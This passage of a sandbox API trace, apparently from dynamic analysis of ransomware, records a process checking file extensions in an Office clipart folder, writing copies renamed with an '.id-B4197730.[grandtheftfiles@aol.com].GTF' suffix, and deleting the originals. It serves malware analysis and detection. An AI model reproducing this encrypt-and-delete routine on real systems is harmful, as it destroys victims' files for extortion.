	[0156.656] SetEndOfFile (hFile=0x42c) returned 1
	[0156.656] CloseHandle (hObject=0x42c) returned 1
	[0156.656] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.656] SetEndOfFile (hFile=0x4a4) returned 1
	[0156.660] CloseHandle (hObject=0x4a4) returned 1
	[0156.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1
	[0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.661] lstrlenW (lpString=".doc") returned 4
	[0156.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.661] lstrlenW (lpString=".docx") returned 5
	[0156.661] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0156.661] lstrlenW (lpString=".pdf") returned 4
	[0156.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.661] lstrlenW (lpString=".xls") returned 4
	[0156.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.661] lstrlenW (lpString=".xlsx") returned 5
	[0156.661] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0156.661] lstrlenW (lpString=".ppt") returned 4
	[0156.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.661] lstrlenW (lpString=".zip") returned 4
	[0156.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.661] lstrlenW (lpString=".rar") returned 4
	[0156.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.661] lstrlenW (lpString=".bz2") returned 4
	[0156.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.661] lstrlenW (lpString=".7z") returned 3
	[0156.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.661] lstrlenW (lpString=".dbf") returned 4
	[0156.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.662] lstrlenW (lpString=".1cd") returned 4
	[0156.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.662] lstrlenW (lpString=".jpg") returned 4
	[0156.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.662] lstrlenW (lpString=".doc") returned 4
	[0156.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.662] lstrlenW (lpString=".docx") returned 5
	[0156.662] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0156.662] lstrlenW (lpString=".pdf") returned 4
	[0156.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.662] lstrlenW (lpString=".xls") returned 4
	[0156.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.662] lstrlenW (lpString=".xlsx") returned 5
	[0156.662] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0156.662] lstrlenW (lpString=".ppt") returned 4
	[0156.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.662] lstrlenW (lpString=".zip") returned 4
	[0156.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.662] lstrlenW (lpString=".rar") returned 4
	[0156.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.662] lstrlenW (lpString=".bz2") returned 4
	[0156.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.662] lstrlenW (lpString=".7z") returned 3
	[0156.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.662] lstrlenW (lpString=".dbf") returned 4
	[0156.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.662] lstrlenW (lpString=".1cd") returned 4
	[0156.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.662] lstrlenW (lpString=".jpg") returned 4
	[0156.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.663] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0156.663] lstrlenW (lpString="J0099157.JPG") returned 12
	[0156.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.663] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=9671) returned 1
	[0156.663] CloseHandle (hObject=0x4a4) returned 1
	[0156.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220
	[0156.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.664] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.664] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0156.664] GetLastError () returned 0x0
	[0156.664] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x25c7, lpOverlapped=0x0) returned 1
	[0156.666] WriteFile (in: hFile=0x42c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x25d0, lpOverlapped=0x0) returned 1
	[0156.667] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.667] WriteFile (in: hFile=0x42c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.667] SetEndOfFile (hFile=0x42c) returned 1
	[0156.668] CloseHandle (hObject=0x42c) returned 1
	[0156.668] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.668] SetEndOfFile (hFile=0x4a4) returned 1
	[0156.670] CloseHandle (hObject=0x4a4) returned 1
	[0156.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1
	[0156.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.671] lstrlenW (lpString=".doc") returned 4
	[0156.671] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.671] lstrlenW (lpString=".docx") returned 5
	[0156.671] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0156.671] lstrlenW (lpString=".pdf") returned 4
	[0156.671] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.671] lstrlenW (lpString=".xls") returned 4
	[0156.671] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.671] lstrlenW (lpString=".xlsx") returned 5
	[0156.671] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0156.671] lstrlenW (lpString=".ppt") returned 4
	[0156.671] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.672] lstrlenW (lpString=".zip") returned 4
	[0156.672] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.672] lstrlenW (lpString=".rar") returned 4
	[0156.672] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.672] lstrlenW (lpString=".bz2") returned 4
	[0156.672] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.672] lstrlenW (lpString=".7z") returned 3
	[0156.672] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.672] lstrlenW (lpString=".dbf") returned 4
	[0156.672] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.672] lstrlenW (lpString=".1cd") returned 4
	[0156.672] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.672] lstrlenW (lpString=".jpg") returned 4
	[0156.672] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.672] lstrlenW (lpString=".doc") returned 4
	[0156.672] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.672] lstrlenW (lpString=".docx") returned 5
	[0156.672] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0156.672] lstrlenW (lpString=".pdf") returned 4
	[0156.672] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.672] lstrlenW (lpString=".xls") returned 4
	[0156.672] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.672] lstrlenW (lpString=".xlsx") returned 5
	[0156.672] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0156.672] lstrlenW (lpString=".ppt") returned 4
	[0156.672] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.672] lstrlenW (lpString=".zip") returned 4
	[0156.672] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.672] lstrlenW (lpString=".rar") returned 4
	[0156.672] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.673] lstrlenW (lpString=".bz2") returned 4
	[0156.673] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.673] lstrlenW (lpString=".7z") returned 3
	[0156.673] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.673] lstrlenW (lpString=".dbf") returned 4
	[0156.673] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.673] lstrlenW (lpString=".1cd") returned 4
	[0156.673] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0156.673] lstrlenW (lpString=".jpg") returned 4
	[0156.673] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.673] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0156.673] lstrlenW (lpString="J0099158.WMF") returned 12
	[0156.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.673] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=26160) returned 1
	[0156.673] CloseHandle (hObject=0x4a4) returned 1
	[0156.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220
	[0156.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.674] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.674] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0156.675] GetLastError () returned 0x0
	[0156.675] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x6630, lpOverlapped=0x0) returned 1
	[0156.677] WriteFile (in: hFile=0x42c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x6640, lpOverlapped=0x0) returned 1
	[0156.678] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.678] WriteFile (in: hFile=0x42c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.679] SetEndOfFile (hFile=0x42c) returned 1
	[0156.679] CloseHandle (hObject=0x42c) returned 1
	[0156.679] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.679] SetEndOfFile (hFile=0x4a4) returned 1
	[0156.682] CloseHandle (hObject=0x4a4) returned 1
	[0156.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1
	[0156.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.683] lstrlenW (lpString=".doc") returned 4
	[0156.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.683] lstrlenW (lpString=".docx") returned 5
	[0156.683] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0156.683] lstrlenW (lpString=".pdf") returned 4
	[0156.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.683] lstrlenW (lpString=".xls") returned 4
	[0156.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.683] lstrlenW (lpString=".xlsx") returned 5
	[0156.683] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0156.683] lstrlenW (lpString=".ppt") returned 4
	[0156.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.683] lstrlenW (lpString=".zip") returned 4
	[0156.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.683] lstrlenW (lpString=".rar") returned 4
	[0156.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.683] lstrlenW (lpString=".bz2") returned 4
	[0156.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.683] lstrlenW (lpString=".7z") returned 3
	[0156.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.683] lstrlenW (lpString=".dbf") returned 4
	[0156.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.684] lstrlenW (lpString=".1cd") returned 4
	[0156.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.684] lstrlenW (lpString=".jpg") returned 4
	[0156.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.684] lstrlenW (lpString=".doc") returned 4
	[0156.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.684] lstrlenW (lpString=".docx") returned 5
	[0156.684] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0156.684] lstrlenW (lpString=".pdf") returned 4
	[0156.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.684] lstrlenW (lpString=".xls") returned 4
	[0156.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.684] lstrlenW (lpString=".xlsx") returned 5
	[0156.684] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0156.684] lstrlenW (lpString=".ppt") returned 4
	[0156.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.684] lstrlenW (lpString=".zip") returned 4
	[0156.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.684] lstrlenW (lpString=".rar") returned 4
	[0156.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.684] lstrlenW (lpString=".bz2") returned 4
	[0156.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.684] lstrlenW (lpString=".7z") returned 3
	[0156.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.684] lstrlenW (lpString=".dbf") returned 4
	[0156.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.684] lstrlenW (lpString=".1cd") returned 4
	[0156.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0156.685] lstrlenW (lpString=".jpg") returned 4
	[0156.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.685] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0156.685] lstrlenW (lpString="J0099159.WMF") returned 12
	[0156.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.686] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=27546) returned 1
	[0156.686] CloseHandle (hObject=0x4a4) returned 1
	[0156.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220
	[0156.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.686] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.686] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.446] GetLastError () returned 0x0
	[0157.446] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x6b9a, lpOverlapped=0x0) returned 1
	[0157.454] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x6ba0, lpOverlapped=0x0) returned 1
	[0157.455] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
